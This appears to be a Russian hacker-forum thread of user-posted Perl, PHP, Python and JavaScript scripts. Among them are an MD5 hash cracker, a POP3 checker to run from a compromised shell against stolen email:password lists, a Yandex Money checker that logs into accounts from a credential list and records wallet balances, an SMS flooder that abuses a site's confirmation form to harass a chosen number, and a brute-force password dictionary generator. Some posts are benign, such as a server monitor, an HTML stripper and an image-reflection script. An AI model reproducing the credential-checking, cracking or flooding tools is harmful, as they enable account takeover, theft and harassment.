Скрипт для расшифровки MD5 PHP: # Perl # Md5 MultiCracker # Author : Cod3rZ # Usage : perl md5.pl [hash] # Usage: perl md5.pl 27d34b40d7adafe2e00c3503543e0ca9 # Thanks to GrabberGhost use LWP::UserAgent; use HTTP::Request::Common; system("cls"); print q{ --------------------------------------------------------------------- :: Md5 MultiCracker :: --------------------------------------------------------------------- Author : Cod3rZ Email : songforthemoment@yahoo.it Site : http://cod3rz.helloweb.eu --------------------------------------------------------------------- }; $hash = $ARGV[0]; chomp($hash); if(!$hash) { print q{ Usage: perl md5.pl [hash] Usage: perl md5.pl 27d34b40d7adafe2e00c3503543e0ca9 --------------------------------------------------------------------- }; } else { $lwp = LWP::UserAgent->new; #Milw0rm $ua = $lwp->request(POST 'http://www.milw0rm.com/cracker/search.php', [ hash => "$hash", Submit => 'Submit', ]); @content = split(/[n]/, $ua->content); @password = split( /[><]/, $content[46]); if($password[1]) { print " Password cracked: $password[1] \n ---------------------------------------------------------------------"; } else { #Rednoize $red = $lwp->request(GET 'http://md5.rednoize.com/?p&s=md5&q='.$hash); $content = $red->content; if($content) { print " Password cracked : $content \n ---------------------------------------------------------------------"; } else { #GdataOnline $gdo = $lwp->request(GET 'http://gdataonline.com/qkhash.php?mode=xml&hash='.$hash); @content = split(/<result>/, $gdo->content); @password = split( /[><]/, $content[1]); if(@password[0]) { print " Password cracked: @password[0]\n ---------------------------------------------------------------------"; } else { print " Password Not Cracked\n ---------------------------------------------------------------------"; } } } }
Скрипт для чеканья мыла на валидность... на входе mail.txt: [email protected]:пароль Чекает mail.ru, rambler.ru, yandex.ru, list.ru, bk.ru ... и многие другие, где pop сервер лежит по адресу pop.host.ex:110 На выходе в директории скрипта лежит ok.mail и err.mail PHP: ////////////////////////////////////////////////////////// // // // Скрипт для чеканья мыла на валидность! // // Заливаем на Shell скрипт и файл mail.txt // // Формат mail.txt [email protected]:password // // Чекает только мыла, у которых pop3 сервер // // располжен на pop.host.ex:110 // // На выходе создаются 2 файла: // // ok.mail и err.mail // // Created by 5hr4M... // // // ////////////////////////////////////////////////////////// <?php error_reporting(0); $in=fopen("mail.txt","r"); if(!$in) { echo "mail.txt not found...<br>"; exit(); } while(!feof($in)) { $host=''; $str=''; $user=''; $pass=''; $str=fgets($in,128); $pos[1]=strpos($str,'@'); $pos[2]=strpos($str,':'); $host='pop.'.substr($str,$pos[1]+1,$pos[2]-$pos[1]-1); $pos[3]=strpos($host,' '); if ($pos[3]) $host=substr($host,0,$pos[3]); $user=substr($str,0,$pos[1]); $pass=substr($str,$pos[2]+1); connect ($host,$user,$pass); } echo "End<br>"; fclose($in); function connect($host,$user,$pass){ $fp = fsockopen($host, 110, &$errno, &$errstr, 30); fputs($fp,"USER $user\n"); $resp=fgets($fp,1024); if ($resp[0]=='+') { fputs($fp,"PASS $pass\n"); $resp=fgets($fp,1024); if ($resp[0]=='+') { @$out=fopen("ok.mail","a"); $mg=$user . '@' . substr($host,4). ':' . $pass; echo $mg.'<br>'; @fputs($out,$mg); @fclose($out); }else { // echo 'Pass failure'; @$out=fopen("err.mail","a"); $mg=$user . '@' . substr($host,4). ':' . $pass; @fputs($out,$mg); @fclose($out); } }else { //echo 'User failure'; @$out=fopen("err.mail","a"); $mg=$user . '@' . substr($host,4). ':' . $pass; @fputs($out,$mg); @fclose($out); } fputs($fp,"QUIT\n"); $resp=fgets($fp,1024); fclose($fp); } ?>
proxy.php: PHP: <?php ############ # Граббер проксей с ip-whois.net # (ип;порт;дата;страна;анонимная/прозрачная) # запись натыренного в файл (proxy.html) # (c) Failure ############ error_reporting(0); set_time_limit(30); if(!file_exists("proxy.html")) include("get_proxy.php"); $f = fopen("proxy.html","r"); $buff = fread($f, filesize("proxy.html")); $buff = strstr($buff, "<table width = 100%>"); $bad = strstr($buff, "</tr></table></p>"); $buff = str_replace($bad, "", $buff); fclose($f); echo $buff; if(file_exists("proxy.html")) unlink("proxy.html"); $f = fopen("proxy.html","a+"); fwrite($f, $buff); fclose($f); ?> get_proxy.php PHP: <?php $sock = fsockopen("ip-whois.net", 80, $bla, $bla2); $out = "GET /proxy.php HTTP/1.1\r\n"; $out .= "Host: ip-whois.net\r\n"; $out .= "Content-Type: text/html\r\n"; $out .= "Referer: http://ip-whois.php/index.php\r\n\r\n"; fwrite($sock, $out); if(file_exists("proxy.html")) unlink("proxy.txt"); $fproxy = fopen("proxy.html","a+"); while(!feof($sock)) fwrite($fproxy, fgets($sock, 1000)); fclose($sock);fclose($fproxy); ?>
качаем с depositfiles рядом с таймером до окончания времени появиться кнопка скачать PHP: javascript:download_url.setAttribute("style","display:block;"); просто выводим ссылку PHP: javascript: dl=document.forms[1].action;document.write('<a href="'+dl+'">'+dl+'</a>'); удобно сделать букмарклет (забить код в закладку) простой флудер смсками, с одинаковым текстом подтверждения телефона регистрируемся на сайте http://www.online-organizer.ru/ пишем в своем профиле номер кому слать, заливаем скрипт на хостинг с курл, например в опытах использовался этот http://www.freewebhostingarea.com/ PHP: <?php $n = 5; // сколько смс слать $login='test'; $pass='12345'; $zz=urlencode("Отправить код активации"); $pf1='form=accountlogin&account_login='.$login.'&account_password='.$pass; $pf2='form=accountconfirmtelsend&submit='.$zz; $url = "http://www.online-organizer.ru/?section=account&action=login"; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL,$url); curl_setopt($ch, CURLOPT_FAILONERROR, 1); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($ch, CURLOPT_RETURNTRANSFER,1); curl_setopt($ch, CURLOPT_TIMEOUT, 3); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_POSTFIELDS, $pf1); curl_setopt($ch, CURLOPT_COOKIEJAR, "my_cookies.txt"); $result = curl_exec($ch); // авторизуемся curl_setopt($ch, CURLOPT_URL,'http://www.online-organizer.ru/?section=account&action=confirmtel'); curl_setopt($ch, CURLOPT_COOKIEFILE, "my_cookies.txt"); curl_setopt($ch, CURLOPT_POSTFIELDS, $pf2); for ($i = 0; $i < $n; $i++) { $result2 = curl_exec($ch); // флудим sleep(3); } //$result2 = curl_exec($ch); curl_close($ch); ?>
yandex money balance checker Code: #!/usr/bin/perl use LWP::UserAgent; use HTTP::Cookies; ###################### #writen#by#popkorn#### ###################### $url['0'] = 'http://passport.yandex.ru/passport?mode=auth'; $url['1'] = 'http://money.yandex.ru/'; $proxy = '89.110.23.94:5141'; # if u don't need proxy, just set # before this line my $ua = LWP::UserAgent->new; my $cookie_jar = HTTP::Cookies->new; $ua->agent('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; MRA 4.2 (build 01102))'); push @{ $ua->requests_redirectable }, 'POST'; if($proxy =~ m/\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}:\d{1,6}/){ $ua->proxy('http', "http://$proxy/"); }; open(ACCS, "<accs.txt"); open(LOG, ">logs.txt"); @accs = <ACCS>; close (ACCS); foreach (@accs){ ($login, $pass) = split(':',$_); $pass =~ s/ |\n//; $ua->cookie_jar($cookie_jar); $ua->post( $url['0'], [login => $login, passwd => $pass]); my $response = $ua->post($url['1']); $content = $response->content; $sum = 'koshel\'ka net'; while( $content =~/<a href="\/history\.xml" class="in">В Кошельке<\/a><br><span class="sum"><nobr>(\d+,\d+)/g){$sum = $1}; print LOG "$login:$pass:$sum\n"; print "$login:$pass:$sum\n"; $sum = '0 =('; $cookie_jar->clear_temporary_cookies; } close (LOG);
[Python] Счетчик Строк [Python] Элементарный скрипт для подсчета строк в файлах. Пригодится для проверки говночекеров, да и вообще так (по крайней мере мну сегодня пригодился) Скрипт с гуем, пэтому требует Tkinter (на windows стоит по умолчанию) В режиме "Без дублей" файл грузится в оперативку, поэтому поаккуратнее там Скрин: Code: #!usr/bin/env python # -*- coding:utf-8 -*- # files length counter # (c) login999 from Tkinter import * from tkMessageBox import showerror from tkFileDialog import askopenfilename LastCounter = 0 NowCounter = 0 AllCounter = 0 def Count(): global LastCount global NowCount global AllCount global AllCounter global NowCounter global LastCounter LastCounter = NowCounter NowCounter = 0 try: with open(askopenfilename()) as accs: for _ in accs: NowCounter += 1 AllCounter += 1 LastCount["text"] = LastCounter NowCount["text"] = NowCounter AllCount["text"] = AllCounter except Exception, e: showerror(u"Ошибка", e) def NODUP(): global LastCount global NowCount global AllCount global AllCounter global NowCounter global LastCounter LastCounter = NowCounter NowCounter = 0 try: with open(askopenfilename()) as accs: for _ in set(accs): NowCounter += 1 AllCounter += 1 LastCount["text"] = LastCounter NowCount["text"] = NowCounter AllCount["text"] = AllCounter except Exception, e: showerror(u"Ошибка", e) def Clear(): global LastCount global NowCount global AllCount global AllCounter global NowCounter global LastCounter NowCounter = 0 LastCounter = 0 AllCounter = 0 LastCount["text"] = LastCounter NowCount["text"] = NowCounter AllCount["text"] = AllCounter MainWindow = Tk() MainWindow["bd"] = 5 MainWindow.title(u"Счетчик Строк") MainWindow.resizable(width=False, height=False) ButtonsFrame = Frame(MainWindow) CountButton = Button(ButtonsFrame, text=u"Посчитать", width=11, command=Count) NODUPButton = Button(ButtonsFrame, text=u"Без дублей", width=11, command=NODUP) ClearButton = Button(ButtonsFrame, text=u"Очистить", width=11, command=Clear) CountButton.grid(row=0, column=0) NODUPButton.grid(row=1, column=0) ClearButton.grid(row=2, column=0) ButtonsFrame.grid(row=0, column=0, sticky="w") LinesLabel = LabelFrame(MainWindow, text=u"Количество строк") LastLabel = Label(LinesLabel, text=u"Последний :", anchor="w", width=12) LastCount = Label(LinesLabel, text=LastCounter, width=8) NowLabel = Label(LinesLabel, text=u"Нынешний :", anchor="w", width=12) NowCount = Label(LinesLabel, text=NowCounter, width=8) AllLabel = Label(LinesLabel, text=u"Всего :", anchor="w", width=12) AllCount = Label(LinesLabel, text=AllCounter, width=8) LastLabel.grid(row=0, column=0) LastCount.grid(row=0, column=1) NowLabel.grid(row=1, column=0) NowCount.grid(row=1, column=1) AllLabel.grid(row=2, column=0) AllCount.grid(row=2, column=1) LinesLabel.grid(row=0, column=1, sticky="w") MainWindow.mainloop()
Этот скрипт сохраняет информацию о посетителях вашего сайта (дата, время,host name, IP-адрес и т.д.),затем он отсылает вам эту информацию по E-mail. PHP: #! /usr/local/bin/perl # mail-log.cgi # # Version 2.03 -- 27 Jan 1997 # http://www.all-yours.net/scripts/ # Perl (release 4 or 5) script for Unix servers # Written by Walter Soldierer of All-Yours Internet Solutions # ([email protected]), one of the authors of # # THE DIGITAL POSTCARD # # A FREE service to increase your web site's exposure! # Need more hits? # Check it out at http://www.all-yours.net/postcard/ # This script saves access date+time, the visitor's host name, their IP # address and browser type, and the refering page (if any) to a log file # on your server (default name = logfile.txt). This file will be automatically # mailed to your mailbox. You can change the mailing interval according # to your needs (default value is every 50 accesses to the page to be # logged). The script will autocreate the logfile, if it does not exist. # ----- BEGIN INSTALLATION INSTRUCTIONS ----- # - Save this script to a file mail-log.cgi # - Cut installation instructions (optional) # - Change the first script line, if your server's Perl executable # is not located in /usr/local/bin/perl # - Customize the settings below (*SETTINGS*) # * Change e-mail address for $recipient # * Set $log_page to 1 if you also want to log the page that # called this script. Recommended in case you want to log accesses # to more than one HTML page. # * Set $max_entries to your needs, if you want to have more or less # than 50 log entries mailed to your mailbox each time. # * Change path/filename for log file, if necessary # (default = logfile.txt in your cgi directory) # * Change values for $check_host and $interval, if necessary # * Change filename for host/time file, if necessary (default = hosttime.txt) # - ASCII-upload mail-log.cgi to your cgi directory (cgi-bin, cgi-local...) # Make it executable (chmod mail-log.cgi 755) # - add the following line (Server Sde Include) to the page(s) to be logged # (after the <body> tag): # <!--#exec cgi="/your-cgi-directory/mail-log.cgi"--> # HTML pages with Server Side Include tags often need to have the # file extension ".shtml" !!!! (don't forget to update # all links to this page(s) accordingly) # (You should test the script with a test.shtml page first) # - Load the logged page(s) with your browser. # - View your new logfile # It should look something like this: # # Time: 05/30/96 14:44:07 EDT # Host: your.host.and.domain # Addr: 123.45.67.89 # With: Mozilla/1.22 (compatible; MSIE 2.0; Windows 95) # Page: test.shtml # From: [no entry here, if you accessed your page directly (otherwise Yahoo etc.)] # # If the script doesn't work and you want to contact us, please check # the following first: # - did you upload the script in ASCII mode (*not* binary)? # - did you chmod the script 755 # - does your server support the "exec cgi" Server Side Include? # - did you rename the html file to .shtml # - did you check the path to your server's Perl executable? # # If you still have a problem and you want us to help you, we need to know: # - a detailed description of your problem # - your script's settings section # - html code and file name for the page to be logged # - script related error messages from your server's error log file # ----- END INSTALLATION INSTRUCTIONS ----- # ----------------------------------------------------------------------- # *SETTINGS* to customize this script: # Your email address (within single quotes!): $recipient = '[email protected]'; # Do you want to log the .shtml page's file name? # (recommended when more than one poage is logged) # 1 = the .shtml page that called this script will be logged # 0 = the .shtml page that called this script will not be logged $log_page = 1; # Do you want to log your visitor's IP number? # The script attemps to call a domain name server in order to resolve # IP addresses (such as 132.45.323.5) to a host name (such as yourdomain.com) # However, resolving IP addressses doesn't work 100 per cent so you # might also want to log rhe IP addresses. # 1 = IP addresses will be logged # 0 = IP addresses will be discarded $log_IP = 1; # Number of logged visits mailed to your mailbox at a time: $max_entries = 50; # Change logfile name if necessary: $logfile = 'logfile.txt'; # server's sendmail directory: $mailprogam = '/usr/lib/sendmail'; # If you set $check_host = "1" the script attempts not # to log multiple page reloads. # When a page was accessed from the same host by using the same # browser, this visit will only be logged after the time # interval specified in $interval. # Example: You set $interval to 1800 (seconds). If there was no # access from a different host in the meantime, a visitor from the # same host who uses the same browser will only be logged when s/he # accesses your page 30 minutes after visitor one. # In other words: If someone reloads the page many times, in most cases # s/he needs to wait 30 minutes after each reload to make your log file # grow. When you set $check_host to 0 even the reloads will be logged. $check_host = 1; # set to zero if you don't like this feature # If you set the $check_host variable to 1, specify a time interval to # ignore page reloads $interval = 600; # seconds! # If you set the $check_host variable to 1, change the name of the file # that temporarily stores host and time information (if necessary) $hostfile = 'hostfile.txt'; # don't change anything past this line unless you know what you are doing # ----------------------------------------------------------------------- # create a date+time string $shortdate = `date +"%D %T %Z"`; chop ($shortdate); # Some of Perl's network info functions required here ($part1,$part2,$part3,$part4)=split(/\./,$ENV{REMOTE_ADDR}); $IP_adr=pack("C4",$part1,$part2,$part3,$part4); ($host_name)=(gethostbyaddr("$IP_adr", 2)); print "Content-type: text/plain\n\n"; if ($check_host) { # read host and time info from last visitor if (-e "$hostfile") { open(HOST,"$hostfile"); $hostline = <HOST>; chop($hostline) if $hostline =~ /\n$/; close(HOST); ($old_time,$old_number,$old_page,$old_browser) = split(/\|/,$hostline); } # save host and time info and check if this is a page reload open(HOST,">$hostfile"); $seconds = time; print HOST "$seconds\|$ENV{REMOTE_ADDR}\|$ENV{'DOCUMENT_URI'}\|$ENV{'HTTP_USER_AGENT'}"; close(HOST); if (time - $old_time < $interval && $ENV{REMOTE_ADDR} eq $old_number && $ENV{'DOCUMENT_URI'} eq $old_page && $ENV{'HTTP_USER_AGENT'} eq $old_browser) { exit; # probably same visitor, so exit } } # open log file for output and append new log data open (LOGFILE, ">>$logfile"); print LOGFILE "Time: $shortdate\n"; print LOGFILE "From: $ENV{'HTTP_REFERER'}\n"; print LOGFILE "IP : $ENV{REMOTE_ADDR}\n" if $log_IP; print LOGFILE "Host: $host_name\n"; print LOGFILE "With: $ENV{'HTTP_USER_AGENT'}\n"; print LOGFILE "Page: $ENV{'DOCUMENT_URI'}\n" if $log_page; print LOGFILE "\n"; close (LOGFILE); # open log file for input and count log entries open (LOGFILE, $logfile); @entries = <LOGFILE>; close (LOGFILE); $log_rows = 7; $log_rows-- unless $log_page; $log_rows-- unless $log_IP; $log_count = @entries/$log_rows; # if number of logs >= max. number of logs, mail file and delete it if ($log_count >= $max_entries) { open (MAIL, "|$mailprogam $recipient") || die "Can't open $mailprogam!\n"; print MAIL "Subject: Mail-log File\n\n"; print MAIL "@entries\n"; close MAIL; unlink $logfile; } # end of script Скрипт выполняет множество функций для администрирования Unix сервера. PHP: #!/usr/bin/perl5 # # +---------------------------------------------------------------------+ # | sysdaemon | # | Written By : Trans-Euro I.T Ltd | # | Written On : July 27th 1997 | # | | # | Purpose System monitor | # | Reads the contents of :- | # | /usr/local/etc/sysdaemon/daemontab | # | the daemon names present are scanned for the results | # | being written back to :- | # | /var/log/sysmon.REPORT | # | If a failure occurs the appropriate support team are | # | contacted by email.. also if any filestore partition | # | reaches 99%, a pager message can also be sent. | # | This daemon replaces sysmon, which was written in | # | korn shall/bash. | # | On recieving a kill -HUP signal the daemon will | # | re-read its config file. | # | The definable nature of this daemon means... | # | There is NO user changeable code. | # +---------------------------------------------------------------------+ # | (c) 1997 This script is the intellectual property of | # | Trans-Euro I.T Ltd | # +---------------------------------------------------------------------+ use Config; $VERSION="1.40"; $PROGRAM="sysdaemon"; $hup=0; $pidfile="/var/run/sysdaemon.pid"; $tab="/usr/local/etc/sysdaemon/daemontab"; $report="/var/log/sysmon.REPORT"; $date=get_date(); $time=get_time(); $node=`uname -n`; $daemon_name=""; $status=""; $work1="/tmp/sysdaemon1.$$"; $work2="/tmp/sysdaemon2.$$"; $mailprog='/usr/sbin/sendmail'; $support="support\@svr1.marketrends.net"; $filesystem=""; $capacity=""; $fstat=""; @daemontable=""; @proc=""; @fstab=""; format SYSDAEMON = @<<<<<<<<<<<<<<<<<< : daemon is @<<<<<<<<<<<<<<<<<<<<<<<<:Status is @<<<< $time $daemon_name $status . format SYSDAEMONHUP = @<<<<<<<<<<<<<<<<<< : HUP re-reading @<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<< $time $tab . format SYSDAEMONFS = @<<<<<<<<<<<<<<<<<< : @<<<<<<<<<<<<<<<<<<< : @<<<< : @<<<< $time $filesystem $capacity $fstat . unless ( -s "$tab") { die "$tab is either missing or empty !!\n";} read_daemontab(); unless (fork) { unless (fork) { sleep1 until getppid == 1; # +---------------------------------------------------------------------+ # | Main Daemon control loop | # +---------------------------------------------------------------------+ write_pid(); write_report_header(); while ( ! $daemon_control) { # +---------------------+ # | Catch signals here! | # +---------------------+ $SIG{HUP} = \&hup; if ($hup) { read_daemontab();$hup=0;} # +---------------------+ # | main process loop | # +---------------------+ $SIG{HUP} = \&hup; $date=get_date(); $time=get_time(); gather_process_info(); scan_process(); check_filestore(); unlink($work1); unlink($work2); sleep 300; } exit 0; } exit 0; } # +---------------------------------------------------------------------+ # | Sub programs | # +---------------------------------------------------------------------+ sub hup { $hup=1; } # +---------------------------------------------------------------------+ sub read_daemontab { if ($hup eq "1") { log_hup();} open(T,"$tab") || die "Cannot open $tab!\n"; @daemontable=<T>; close(T); foreach $EOF (@daemontable) { $_=$EOF; s/\012//g; $EOF=$_;} } # +---------------------------------------------------------------------+ sub write_pid { open(PID,">$pidfile") || die "Cannot open $pidfile!!\n"; print PID $$; close(PID); } # +---------------------------------------------------------------------+ sub get_date { my $date=`date`; $_=$date; s/\012//g; $date=$_; return $date; } # +---------------------------------------------------------------------+ sub write_report_header { open(REP,">$report")|| die "Cannot open $report!!\n"; print REP "--------------------------------------------------------\n"; print REP "$PROGRAM : $VERSION starts at $date\n"; print REP "Trans-Euro I.T (c) 1997.\n"; print REP "Written by Stephen Martin\n"; print REP "--------------------------------------------------------\n"; close(REP); } # +---------------------------------------------------------------------+ sub get_time { my $time=`date +"%D : %T"`; $_=$time; s/\012//g; $time=$_; return $time; } # +---------------------------------------------------------------------+ sub gather_process_info { open(WORK1,"|ps -ax > $work1")|| die "Cannot gather process info!\n"; close(WORK1); open(WORK1,"$work1")|| die "Cannot read process workfile!\n"; @proc=<WORK1>; close(WORK1); } # +---------------------------------------------------------------------+ sub scan_process { foreach $dproc (@daemontable){ ($daemon,$daemon_name)=split(/:/,$dproc); if ( grep /$daemon/, @proc ) {log_daemon_status("$daemon_name","up");} else { log_daemon_status("$daemon_name","down"); mail_support("$daemon_name");} } } # +---------------------------------------------------------------------+ sub log_daemon_status { my ($daemon_name,$state) = @_; $status=$state; open(SYSDAEMON,">>$report")|| die "Cannot log results to $result!\n"; write SYSDAEMON; close(SYSDAEMON); } # +---------------------------------------------------------------------+ sub log_hup { open(SYSDAEMONHUP,">>$report")|| die "Cannot log HUP call to $result!\n"; write SYSDAEMONHUP; close(SYSDAEMONHUP); } # +---------------------------------------------------------------------+ sub mail_support { my ($d_name) = @_; $d_name; open (MAIL, "| $mailprog $support") || die "Can't open $mailprog!\n"; print MAIL "To: $support\n"; print MAIL "From:$PROGRAM\n"; print MAIL "Subject:$PROGRAM : $d_name failure\n"; print MAIL "------------------------------------------------------\n\n"; print MAIL "$PROGRAM has detected $d_name missing on $node"; close (MAIL); } # +---------------------------------------------------------------------+ sub check_filestore { local $line,$d1,$d2,$d3,$d4,$fs; open(DF,"|df > $work2")||die "Cannot df!\n"; close(DF); open(DFW,"$work2")||die "Cannot open $work2!\n"; while(<DFW>) { @fstab=<DFW>; } close(DFW); foreach $line (@fstab) { ($d1,$d2,$d3,$d4,$lim,$fs)=split(/\ {1,}/,$line); if ( $lim gt "98%" ) { log_fs("$fs","$lim","Full"); mail_support_fs("$fs","$lim","Full"); } else { log_fs("$fs","$lim","Ok")}; } } # +---------------------------------------------------------------------+ sub log_fs { my ($l1,$l2,$l3) = @_; $fstat="$l3"; $filesystem=$l1; $capacity=$l2; open(SYSDAEMONFS,">>$report") || die "Cannot open $report to log fs full\n"; write SYSDAEMONFS; close(SYSDAEMONFS); } # +---------------------------------------------------------------------+ sub mail_support_fs { my ($l1,$l2,$l3) = @_; $fstat="$l3"; $filesystem=$l1; $capacity=$l2; open (MAIL, "| $mailprog $support") || die "Can't open $mailprog!\n"; print MAIL "To: $support\n"; print MAIL "From:$PROGRAM\n"; print MAIL "Subject:$PROGRAM : Filestore $node Full $filesystem\n"; print MAIL "------------------------------------------------------\n\n"; print MAIL "$PROGRAM has detected that the filesystem $filesystem"; print MAIL "on $node has become full.\n"; print MAIL "$filesystem is currently at $capacity.\n"; close (MAIL); }
Парсер текста из HTML. Выбирает всё, что вне HTML-тэгов. Банальщина, однако немного по-бодался с жадностью регулярок) Мб кому пригодиться: Code: open(F,"withhtml.txt"); $str=""; open(F2,">withouthtml.txt"); while(<F>) { $_=~s/<.+?>//gs; $_=~s/&[a-z]+;//g; $str=$str.$_; } $str=~s/\s+/ /g; print F2 $str; close(F2); Из строки HTML: Ж<font face="Tahoma"><span style="font-size: 13pt">анры в живописи</span></font></font></p> <p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-align: justify;"> <font color="#FFD782"><span style="font-family: Tahoma"> </span></font></p> <p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-align: justify;"> <font color="#FFD782"> <span style="font-family: Tahoma; font-size: 10pt">Живопись достаточно четко разделяется по объектам изображаемого и по сюжетам полотен, и внутри каждой из этих групп также типологизированы конкретные отдельные жанры. Любой жанр может быть выполнен в той технике живописи, которая наиболее подходит конкретному художнику.</span></font></p> <p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-align: justify;"> <font color="#FFD782"> <span style="font-family: Tahoma; font-size: 10pt"> </span></font></p> <p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-align: justify;"> <font color="#FFD782"><strong style> <span style="font-family: Tahoma; font-size: 10pt"> Историческая живопись</span></strong></font></p> <p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-align: justify;"> <font color="#FFD782"> <span style="font-family: Tahoma; font-size: 10pt">Живопись историческая представляет собой изображения определенных исторических моментов, а также некоторых важнейших деятелей общественной жизни прошлых веков. В исторической живописи выделяют такой вид, как батальная живопись, запечатлевающая сражения, битвы, войны.</span></font></p> <p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-align: justify;"> <font color="#FFD782"> Сделает
4upakabr0 о хосспаде, скорость метр в секунду для локальных операций это по вашему нормально? Это я про генератор 8 циферных паролей Code: open(F,">8dig.txt"); for($i=0;$i<=99999999;$i++) { printf F "%08d\n", $i; } close(F);
Вообще-то, это тоже не очень хороший код Не говоря о том, что читать такой словарь с диска наверняка медленнее, чем генерировать по одному паролю в реальном времени.
Скрипт отражения изображения reflection.js Code: document.getElementsByClassName = function(className) { var children = document.getElementsByTagName('*') || document.all; var elements = new Array(); for (var i = 0; i < children.length; i++) { var child = children[i]; var classNames = child.className.split(' '); for (var j = 0; j < classNames.length; j++) { if (classNames[j] == className) { elements.push(child); break; } } } return elements; } var Reflection = { defaultHeight : 0.5, defaultOpacity: 0.5, add: function(image, options) { Reflection.remove(image); doptions = { "height" : Reflection.defaultHeight, "opacity" : Reflection.defaultOpacity } if (options) { for (var i in doptions) { if (!options[i]) { options[i] = doptions[i]; } } } else { options = doptions; } try { var d = document.createElement('div'); var p = image; var classes = p.className.split(' '); var newClasses = ''; for (j=0;j<classes.length;j++) { if (classes[j] != "reflect") { if (newClasses) { newClasses += ' ' } newClasses += classes[j]; } } var reflectionHeight = Math.floor(p.height*options['height']); var divHeight = Math.floor(p.height*(1+options['height'])); var reflectionWidth = p.width; if (document.all && !window.opera) { /* Fix hyperlinks */ if(p.parentElement.tagName == 'A') { var d = document.createElement('a'); d.href = p.parentElement.href; } /* Copy original image's classes & styles to div */ d.className = newClasses; p.className = 'reflected'; d.style.cssText = p.style.cssText; p.style.cssText = 'vertical-align: bottom'; var reflection = document.createElement('img'); reflection.src = p.src; reflection.style.width = reflectionWidth+'px'; reflection.style.marginBottom = "-"+(p.height-reflectionHeight)+'px'; reflection.style.filter = 'flipv progid:DXImageTransform.Microsoft.Alpha(opacity='+(options['opacity']*100)+', style=1, finishOpacity=0, startx=0, starty=0, finishx=0, finishy='+(options['height']*100)+')'; d.style.width = reflectionWidth+'px'; d.style.height = divHeight+'px'; p.parentNode.replaceChild(d, p); d.appendChild(p); d.appendChild(reflection); } else { var canvas = document.createElement('canvas'); if (canvas.getContext) { /* Copy original image's classes & styles to div */ d.className = newClasses; p.className = 'reflected'; d.style.cssText = p.style.cssText; p.style.cssText = 'vertical-align: bottom'; var context = canvas.getContext("2d"); canvas.style.height = reflectionHeight+'px'; canvas.style.width = reflectionWidth+'px'; canvas.height = reflectionHeight; canvas.width = reflectionWidth; d.style.width = reflectionWidth+'px'; d.style.height = divHeight+'px'; p.parentNode.replaceChild(d, p); d.appendChild(p); d.appendChild(canvas); context.save(); context.translate(0,image.height-1); context.scale(1,-1); context.drawImage(image, 0, 0, reflectionWidth, image.height); context.restore(); context.globalCompositeOperation = "destination-out"; var gradient = context.createLinearGradient(0, 0, 0, reflectionHeight); gradient.addColorStop(1, "rgba(255, 255, 255, 1.0)"); gradient.addColorStop(0, "rgba(255, 255, 255, "+(1-options['opacity'])+")"); context.fillStyle = gradient; if (navigator.appVersion.indexOf('WebKit') != -1) { context.fill(); } else { context.fillRect(0, 0, reflectionWidth, reflectionHeight*2); } } } } catch (e) { } }, remove : function(image) { if (image.className == "reflected") { image.className = image.parentNode.className; image.parentNode.parentNode.replaceChild(image, image.parentNode); } } } function addReflections() { var rimages = document.getElementsByClassName('reflect'); for (i=0;i<rimages.length;i++) { var rheight = null; var ropacity = null; var classes = rimages[i].className.split(' '); for (j=0;j<classes.length;j++) { if (classes[j].indexOf("rheight") == 0) { var rheight = classes[j].substring(7)/100; } else if (classes[j].indexOf("ropacity") == 0) { var ropacity = classes[j].substring(8)/100; } } Reflection.add(rimages[i], { height: rheight, opacity : ropacity}); } } var previousOnload = window.onload; window.onload = function () { if(previousOnload) previousOnload(); addReflections(); } Незабываем потом его подключить)) <script type="text/javascript" src="reflection.js"></script> пример использования: <img src="example.jpg" alt="" class="reflect" />
Чекер hroxy ---------------------------------- PHP: <?php error_reporting(0); header('Content-type: text/plain; charset=utf-8'); $ch = curl_init('http://hideme.ru/proxy-list/http'); curl_setopt($ch, CURLOPT_TIMEOUT, 10); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_HTTPHEADER, array('Accept: text/html, application/xml, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;', 'Accept-Language: ru, en, *;', 'Accept-Charset: iso-8859-1, utf-8, utf-16, *;', 'Accept-Encoding: identity;', 'Connection: close')); curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)'); curl_setopt($ch, CURLOPT_REFERER, 'http://hideme.ru/'); $result = curl_exec($ch) or die('Неудалось собрать прокси!'); curl_close($ch); preg_match_all('~[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}:[0-9]{2,6}~', $result, $proxy) or die('Неудалось собрать прокси!'); file_put_contents('data/proxy.dat', implode("\r\n", array_unique($proxy[0]))) or die('Неудалось сохранить прокси!'); die('Сбор прокси закончен!'); ?>
Тот кто отправлял смс через http://www.mts.com.ua/ukr/sendsms.php знает как парит их назойливый баннер. Меня это ...... и я решил убрать его. PHP: function closeBanner() { if(!document.getElementById('smsAdvert')){ return false; } document.getElementById('smsAdvert').style.display = 'none'; document.getElementById('pageContent').style.display = 'block'; document.getElementById('pageContent').style.visibility = 'visible'; clearInterval(i); } var i = setInterval(closeBanner, 100); инструкция к применению сохраняем выделенное жирным в файл с расширение js например mtscomua.js открываем через оперу http://www.mts.com.ua/ukr/sendsms.php F12 -> настройки для сайта -> Скрипты -> выбираем путь к папке со скриптом Обновляем страницу и радуемся
